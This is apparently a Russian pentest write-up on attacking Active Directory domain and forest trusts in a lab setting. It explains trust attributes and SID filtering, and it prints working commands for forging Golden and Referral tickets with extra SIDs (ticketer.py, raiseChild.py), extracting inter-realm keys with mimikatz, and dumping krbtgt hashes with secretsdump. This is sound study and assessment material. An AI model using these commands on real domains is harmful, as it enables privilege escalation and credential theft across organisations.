В подавляющем большинстве корпоративных инфраструктур для управления хостами и пользователями используется Active Directory. И зачастую это не один домен и даже не один лес. В некоторых случаях это усложняет получение доступа к нужным сервисам во время проектов по анализу защищённости.
А иногда, наоборот, это облегчает повышение привилегий и компрометацию доменов - за счёт того, что между доменами в AD установлены доверительные отношения (трасты), позволяющие пользователям и объектам из одного домена получать доступ к ресурсам в другом домене.
В этой статье мы расскажем, как настроить разные варианты доверия (трасты) на тестовом стенде, как получать информацию о доменах, на какие параметры стоит обращать внимание и какие атаки можно использовать для получения привилегий.
Все команды, приведённые ниже, запускались на контроллере домена dc01.domain.local, если это команды для Windows и не если не указано иное. В тестовом стенде, на примере которого даны команды, схема такая:

| Домен | SID | Контроллер домена |
|---|---|---|
| DOMAIN.LOCAL | S-1-5-21-847653711-2165400951-2480336776 | dc01.domain.local (172.16.128.148) |
| CHILD.DOMAIN.LOCAL | S-1-5-21-4112499798-2138080591-877392795 | childdc01.child.domain.local (172.16.128.149) |
| DOMAIN2.TEST | S-1-5-21-1352937693-1936037518-1977030692 | testdc01.domain2.test (172.16.128.149) |
Как настроить трасты на тестовом стенде#
Добавить и настроить трасты можно с помощью команды netdom trust. Вот так добавляется двусторонний траст:
netdom trust <trusting_domain_name> /d:<trusted_domain_name> /add /twoway /Ud:<user_trusted_domain> /Pd:* /Uo:<user_trusting_domain> /Po:*В документации написано, что создать траст между лесами с помощью netdom нельзя, но на тестовом стенде это сработало:
netdom trust domain2.test /d:domain.local /Add /TwoWay /UserD:domain\administrator /PasswordD:* /UserO:domain2\administrator /PasswordO:*Чтобы изменить атрибуты, нужно задать их для каждого направления траста:
netdom trust domain.local /d:domain2.test /UserD:domain2\administrator /PasswordD:* /UserO:domain\administrator /PasswordO:* /Quarantine:No
netdom trust domain2.test /d:domain.local /UserD:domain\administrator /PasswordD:* /UserO:domain2\administrator /PasswordO:* /Quarantine:NoКак получить информацию о трастах#
Один из самых удобных способов - получить TDO (Trusted Domain Object) из LDAP с фильтром objectClass=trustedDomain. Можно использовать ldapsearch или запрос 6 в LDAPPER (параметр -s 6):
ldapsearch -x -H ldap://172.16.128.148 -D "user01@domain.local" -w 'P@ssw0rd' -b "dc=domain,dc=local" -s sub "(objectClass=trustedDomain)"C хоста с установленным powershell модулем Active Directory можно использовать командлет Get-AdTrust:
Get-AdTrust -filter *Если уже запускали коллектор Bloodhound, в файле <date>_domains.json будет информация о трастах и некоторых атрибутах. Формат и данные зависят от коллектора.
Пример TDO, полученного с помощью ldapsearch при обращении к LDAP-серверу в домене domain.local:
# domain2.test, System, domain.local
dn: CN=domain2.test,CN=System,DC=domain,DC=local
objectClass: top
objectClass: leaf
objectClass: trustedDomain
cn: domain2.test
distinguishedName: CN=domain2.test,CN=System,DC=domain,DC=local
instanceType: 4
whenCreated: 20260604090017.0Z
whenChanged: 20260604090235.0Z
uSNCreated: 12870
uSNChanged: 12885
showInAdvancedViewOnly: TRUE
name: domain2.test
objectGUID:: Do6bcz+OuEGXJSzKVOVAgw==
securityIdentifier:: AQQAAAAAAAUVAAAA3TCkUI6WZXMkGNd1
trustDirection: 3
trustPartner: domain2.test
trustPosixOffset: -2147483648
trustType: 2
trustAttributes: 72
flatName: DOMAIN2
objectCategory: CN=Trusted-Domain,CN=Schema,CN=Configuration,DC=domain,DC=loca
l
isCriticalSystemObject: TRUE
dSCorePropagationData: 16010101000000.0Z
msDS-TrustForestTrustInfo:: AQAAAAIAAAAdAAAAAAAAAAD03AE+lM6QAAwAAABkb21haW4yLn
Rlc3REAAAAAAAAAAD03AE+lM6QAhgAAAABBAAAAAAABRUAAADdMKRQjpZlcyQY13UMAAAAZG9tYWl
uMi50ZXN0BwAAAERPTUFJTjI=Что интересного есть в TDO#
Про назначение всех атрибутов можно почитать в документации. Самые интересные для нас:
trustDirection#
Направление доверия. На примере выше:
1 - TRUST_DIRECTION_INBOUND (домен domain2.test доверяет domain.local, пользователи из domain.local имеют доступ к ресурсам domain2.test);
2 - TRUST_DIRECTION_OUTBOUND (домен domain.local доверяет domain2.test, пользователи из domain2.test имеют доступ к ресурсам domain.local);
3 - TRUST_DIRECTION_BIDIRECTIONAL (двустороннее доверие).
trustAttributes#
Атрибут, по которому можно понять, какие атаки на трасты могут быть успешны. Значения флагов можно посмотреть в документации. Например, в примере выше trustAttributes: 72. 72 = 0x48. Это значит, что установлены атрибуты:
0x08 TRUST_ATTRIBUTE_FOREST_TRANSITIVE;
0x40 TRUST_ATTRIBUTE_TREAT_AS_EXTERNAL.
flatName#
Содержит NetBIOS name. Можно использовать для получения inter-realm ключей из NTDS.
msDS-SupportedEncryptionTypes#
Определяет, какие типы шифрования будет использоваться для referral TGT. Значения можно посмотреть в документации. Если этот атрибут не задан или равен 0, то используется политика домена.
Важно учитывать этот параметр для большей OPSEC при генерации Referral TGT. Например, если msDS-SupportedEncryptionTypes равен 24, то KDC будет использовать AES256, а если равен 0 и в домене по умолчанию используется RC4, то для Referral TGT тоже будет использоваться RC4. При этом возможна аутентификация с TGT любым типом шифрования, поддерживаемым в целевом домене.
Типовые атаки на AD#
Допустим, у нас есть только учетная запись в домене domain.local.
Если домен domain2.test доверяет домену domain.local и не настроена Selective authentication (флаг TRUST_ATTRIBUTE_CROSS_ORGANIZATION), учетные записи пользователей и компьютеров из domain.local будут AUTHENTICATED USERS в domain2.test, что позволяет выполнять типовые атаки на Active Directory. Имея ученую запись пользователя в domain.local, в домене domain2.test можно:
запустить коллектор Bloodhound и собрать информацию об объектах в домене; поискать привилегированные учетные записи пользователей с одинаковыми именами в разных доменах - зачастую для них используют одинаковые пароли;
проанализировать ACL учетных записей из текущего домена на объекты в целевом домене;
собрать информацию о шаблонах сертификатов и попробовать повысить привилегии (встречается ESC1 от AUTHENTICATED USERS);
прочитать SYSVOL и поискать учетные данные или другую полезную информацию
выполнить coerce-атаки, Kerberoasting;
добавить учетную запись компьютера (по умолчанию AUTHENTICATED USERS могут добавить до 10 компьютеров в домен).
Возможна даже ситуация, когда получить привилегии администратора в другом домене будет проще и, используя эти привилегии, с помощью атак на трасты, уже можно будет получить максимальные привилегии в своем домене.
Примеры#
Выпуск сертификата и аутентификация PKINIT:


Доступ к SYSVOL в другом лесу:
Добавление учетной записи компьютера:
Атаки на трасты#
Если уже есть привилегии администратора домена, можно попробовать специфичные атаки на трасты. При этом важно смотреть атрибуты входящего траста. Например, если в LDAP на контроллере в домене domain.local атрибуты такие:
ldapsearch -x -H ldap://172.16.128.148 -D "administrator@domain.local" -w 'P@ssw0rd' -b "dc=domain,dc=local" -s sub "(objectClass=trustedDomain)"
# domain2.test, System, domain.local
dn: CN=domain2.test,CN=System,DC=domain,DC=local
...
trustAttributes: 4…а в LDAP на контроллере в домене domain2.test атрибуты такие:
ldapsearch -x -H ldap://172.16.128.147 -D "administrator@domain2.test" -w 'P@ssw0rd' -b "dc=domain2,dc=test" -s sub "(objectClass=trustedDomain)"
# domain.local, System, domain2.test
dn: CN=domain.local,CN=System,DC=domain2,DC=test
...
trustAttributes: 64…тогда при атаках на domain2.test SID-ы фильтроваться не будут. Ниже мы подробнее разберём отдельные атрибуты.
TRUST_ATTRIBUTE_QUARANTINED_DOMAIN (0x00000004)#
Если SID-ы фильтруются и делегация TGT запрещена, атаки на трасты не сработают. Нужно пробовать типовые атаки в Active Directory.
Описание параметра в netdom:
/Quarantine Valid only on an existing direct, outbound trust. Set or
clear the domain quarantine attribute. Default is "no".
When "yes" is specified, then only SIDs from the directly
trusted domain will be accepted for authorization data
returned during authentication. SIDS from any other
domains will be removed. Specifying /Quarantine without
yes or no will display the current state.Пример настройки на тестовом стенде:
netdom trust domain2.test /d:domain.local /UserD:domain\administrator /PasswordD:* /UserO:domain2\administrator /PasswordO:* /Quarantine:YesВ журналах событий можно увидеть события о неуспешном логине и фильтрации SID:


TRUST_ATTRIBUTE_WITHIN_FOREST#
Домены в одном лесу Active Directory.
Raise child#
Если нет атрибута TRUST_ATTRIBUTE_QUARANTINED_DOMAIN, то возможна атака SID history, так как SID-ы не фильтруются. Получив Kerberos-ключи krbtgt дочернего домена, можно получить привилегии администратора в корневом домене.
С помощью ticketer.py генерируем Golden ticket, добавив SID группы Enterprise Admin корневого домена или другой группы или пользователя в корневом домене, которые позволят получить максимальные привилегии.
ticketer.py -aesKey <child_krbtgt_key> -domain-sid <child_domain_sid> -extra-sid <root_domaini_sid>-519 -domain <CHILD.DOMAIN.LOCAL> -user-id <user_id> <user_name>В примере:
ticketer.py -aesKey a743aad3537230bb76a7172f062eeb0e31b7d1f720112317e4c0cf78fa8858a6 -domain-sid S-1-5-21-4112499798-2138080591-877392795 -extra-sid S-1-5-21-847653711-2165400951-2480336776-519 -domain CHILD.DOMAIN.LOCAL -user-id 1104 user
Или можно использовать raiseChild.py:
raiseChild.py <child.domain.local>/<domainadmin>:<password> -w <./ticket.ccache>В примере:
raiseChild.py child.domain.local/Administrator:'P@ssw0rd'
Unconstrained delegation#
По умолчанию между доменами в одном лесу разрешена делегация TGT. Если не установлен атрибут TRUST_ATTRIBUTE_QUARANTINED_DOMAIN, то можно провести атаку на неограниченное делегирование Kerberos. Для контроллеров домена по умолчанию настроено неограниченное делегирование. Можно проверить, возможно, на контроллере домена уже есть TGT нужных учетных записей из доверенного домена, или запустить Rubeus в режиме monitor.

TRUST_ATTRIBUTE_TREAT_AS_EXTERNAL (0x00000040)#
Возможна эксплуатация с использованием ослабленной фильтрации SID, если нет атрибута TRUST_ATTRIBUTE_QUARANTINED_DOMAIN. В extra-sid можно указывать RID >= 1000. Например, RID пользователя из группы Administrators, контроллера домена или пользователя MSOL_<>, у которого есть привилегии на DCSync. При этом важно помнить, что добавление SID пользователя не дает привилегии групп, членом которых является этот пользователь.
Описание параметра в netdom:
/EnableSIDHistory Valid only for an outbound, forest trust. Specifying "yes"
allows users migrated to the trusted forest from any other
forest, to use SID history to access resources in this
forest. This should be done only if the trusted forest
administrators can be trusted enough to specify SIDs of
this forest in the SID history attribute of their users
appropriately. Specifying "no" would disable the ability of
the migrated users in the trusted forest to use SID history
to access resources in this forest. Specifying
/EnableSIDHistory without yes or no will display the
current state.Пример настройки на тестовом стенде:
netdom trust domain2.test /d:domain.local /UserD:domain\administrator /PasswordD:* /UserO:domain2\administrator /PasswordO:* /EnableSIDHistory:YesЕсть два варианта генерации билета с добавлением SID: Golden ticket и Referral TGT. Если использовать Golden ticket, то сначала нужно с этим билетом запросить у KDC Referral TGT, затем обращаться к контроллеру другого домена для запроса TGS. При этом KDC сам определит, какое шифрование использовать.
Golden ticket#
Сгенерировать билет:
ticketer.py -aesKey <compromised_krbtgt_key> -domain-sid <compromised_domain_sid> -extra-sid <privileged_user_sid> -domain <compromised_domain_name> -user-id <user_id> <user_name>В примере ниже S-1-5-21-1352937693-1936037518-1977030692-1106 - это SID пользователя newAdmin@domain2.test, который входит в группу Administrators:
ticketer.py -domain domain.local -domain-sid S-1-5-21-847653711-2165400951-2480336776 -aesKey ce56dbef7b7559a08eaa949f4134df70a2836bba08bbc81690cc6abecad9feaa -extra-sid S-1-5-21-1352937693-1936037518-1977030692-1106 -user-id 1104 user01
При использовании impacket при запросе TGS для сервиса в другом лесу может появиться ошибка KDC_ERR_S_PRINCIPAL_UNKNOWN(Server not found in Kerberos database):

В таком случае, используя сгенерированный билет, можно сначала запросить referral TGT, а потом запросить TGS для нужного сервиса:
$ export KRB5CCNAME=user01.ccache
$ getST.py -spn krbtgt/DOMAIN2.TEST -no-pass -debug DOMAIN.LOCAL/user01
$ export KRB5CCNAME=user01@krbtgt_DOMAIN2.TEST@DOMAIN.LOCAL.ccache
$ getST.py -spn cifs/testdc01.DOMAIN2.TEST -no-pass -debug DOMAIN2.TEST/user01@DOMAIN2.TEST
$ export KRB5CCNAME=user01@DOMAIN2.TEST@cifs_testdc01.DOMAIN2.TEST@DOMAIN2.TEST.ccache
$ secretsdump.py -k -no-pass testdc01.domain2.test -debugReferral TGT#
В случае referral TGT используется ключ не учетной записи krbtgt, а inter-realm key. Чтобы получить ключ, нужно использовать команду lsadump::trust /patch в mimikatz. NT-хеш можно также получить из NTDS с помощью атаки DCSync.
Имя пользователя - DOMAIN$, где domain - значение атрибута flatName для доверенного домена. В примере это DOMAIN2$. Если используется AES, то нужно использовать ключ [ In ]. Какой тип ключа использовать, зависит от атрибута msDS-SupportedEncryptionTypes.

Сгенерировать билет с NT-хешом:
ticketer.py -nthash <inter-realm_key> -domain-sid <compromised_domain_sid> -extra-sid <privileged_user_sid> -domain <compromised_domain_name> -spn <krbtgt/target_domain>-user-id <user_id> <user_name>Сгенерировать билет с AES-ключом:
ticketer.py -aesKey <inter-realm_key> -domain-sid <compromised_domain_sid> -extra-sid <privileged_user_sid> -domain <compromised_domain_name> -spn <krbtgt/target_domain>-user-id <user_id> <user_name>Пример с NT-хешом:
ticketer.py -nthash f5b7ec58a53fb3c55f9cd749d1a3716a -domain-sid S-1-5-21-847653711-2165400951-2480336776 -extra-sid S-1-5-21-1352937693-1936037518-1977030692-1106 -spn "krbtgt/domain2.test" -domain DOMAIN.LOCAL -user-id 1104 user01После генерации билета нужно запросить TGS:
$ export KRB5CCNAME=user01.ccache
$ getST.py -k -no-pass -debug -spn CIFS/testdc01.domain2.test domain2.test/user01@domain2.test
$ export KRB5CCNAME=user01@domain2.test@CIFS_testdc01.domain2.test@DOMAIN2.TEST.ccache
$ secretsdump.py -k -no-pass -just-dc-user DOMAIN2/krbtgt testdc01.domain2.test
TRUST_ATTRIBUTE_CROSS_ORGANIZATION (0x00000010)#
Этот атрибут включает Selective Authentication. При таком типе аутентификации пользователям из доверенного домена по умолчанию не разрешено получать доступ к сервисам в домене. Для того, чтобы разрешить учетной записи получать доступ, необходимо настроить привилегию Allowed to authenticate.
Описание параметра в netdom:
/SelectiveAUTH Valid only on outbound Forest and External trusts.
Specifying "yes" enables selective authentication across
this trust.
Specifying "no" disables selective authentication across
this trust.
Specifying /SelectiveAUTH without yes or no will display
the current state of this trust attribute.Пример настройки на тестовом стенде:
netdom trust domain2.test /d:domain.local /UserD:domain\administrator /PasswordD:* /UserO:domain2\administrator /PasswordO:* /SelectiveAUTH:YesПри попытке получения доступа к какому-то сервису в другом лесу будет ошибка (если для пользователя не разрешен доступ к этому сервису):

Атака SID History работает, как и при TRUST_ATTRIBUTE_TREAT_AS_EXTERNAL, если указывать SID привилегированного пользователя. Пример с добавлением SID-а пользователя, входящего в группу Administrators:

Проблема в том, что нужно узнать RID привилегированного пользователя. При добавлении SID обычного пользователя, если включена Selecive Authentication, пользователь из другого домена не может обратиться к LDAP и собрать сведения об объектах а домене. Можно было бы предположить, что раз атака SID history работает, то можно добавить SID рандомного пользователя и получить TGS для LDAP, но это не сработало:

Для того, чтобы собрать информацию о втором лесе, можно использовать учетную запись домена (inter-realm key). Так как ключ один и тот же, NT-хеш учетной записи DOMAIN2\DOMAIN$ будет совпадать с NT-хешом учетной записи DOMAIN\DOMAIN2$.
Подтверждение того, что NT-хеши одинаковые:

Имея привилегии администратора домена, можно провести атаку DCSync и получить NT-хеш DOMAIN\DOMAIN2$. Затем использовать этот хеш для учетной записи DOMAIN2\DOMAIN$ и собрать информацию о домене:

Или если известно, что какой-то учетной записи в текущем домене дана привилегия Allowed to authenticate на контроллер домена, то можно использовать ее:


trustAttributes: 0#
Если значение trustAttributes равно 0, то возможна атака SID history, как и при TRUST_ATTRIBUTE_TREAT_AS_EXTERNAL.
Что не удалось воспроизвести#
Unconstrained delegation#
Судя по документации, может быть установлен флаг, позволяющий провести атаку на неограниченное делегирование:
TRUST_ATTRIBUTE_CROSS_ORGANIZATION_ENABLE_TGT_DELEGATION (0x00000800); при этом флаг должен быть установлен для двух направлений. Но во время наших проектов такой флаг ни разу не встречался, и на тестовом стенде его настроить не удалось.
Изменение с помощью команды netdom не устанавливает этот атрибут:
netdom trust domain2.test /d:domain.local /UserD:domain\administrator /PasswordD:* /UserO:domain2\administrator /PasswordO:* /EnableTgtDelegation:YesПри попытке вручную изменить trustAttributes в редакторе атрибутов ошибка:

Нефильтруемые SID#
Некоторые источники утверждают, что есть SID-ы, которые почти никогда не фильтруются. Например, S-1-5-9 (Enterprise Domain Controllers). Но на тестовом стенде с trustAttributes, установленными в 0 или 64 (TRUST_ATTRIBUTE_TREAT_AS_EXTERNAL), это подтвердить не удалось:

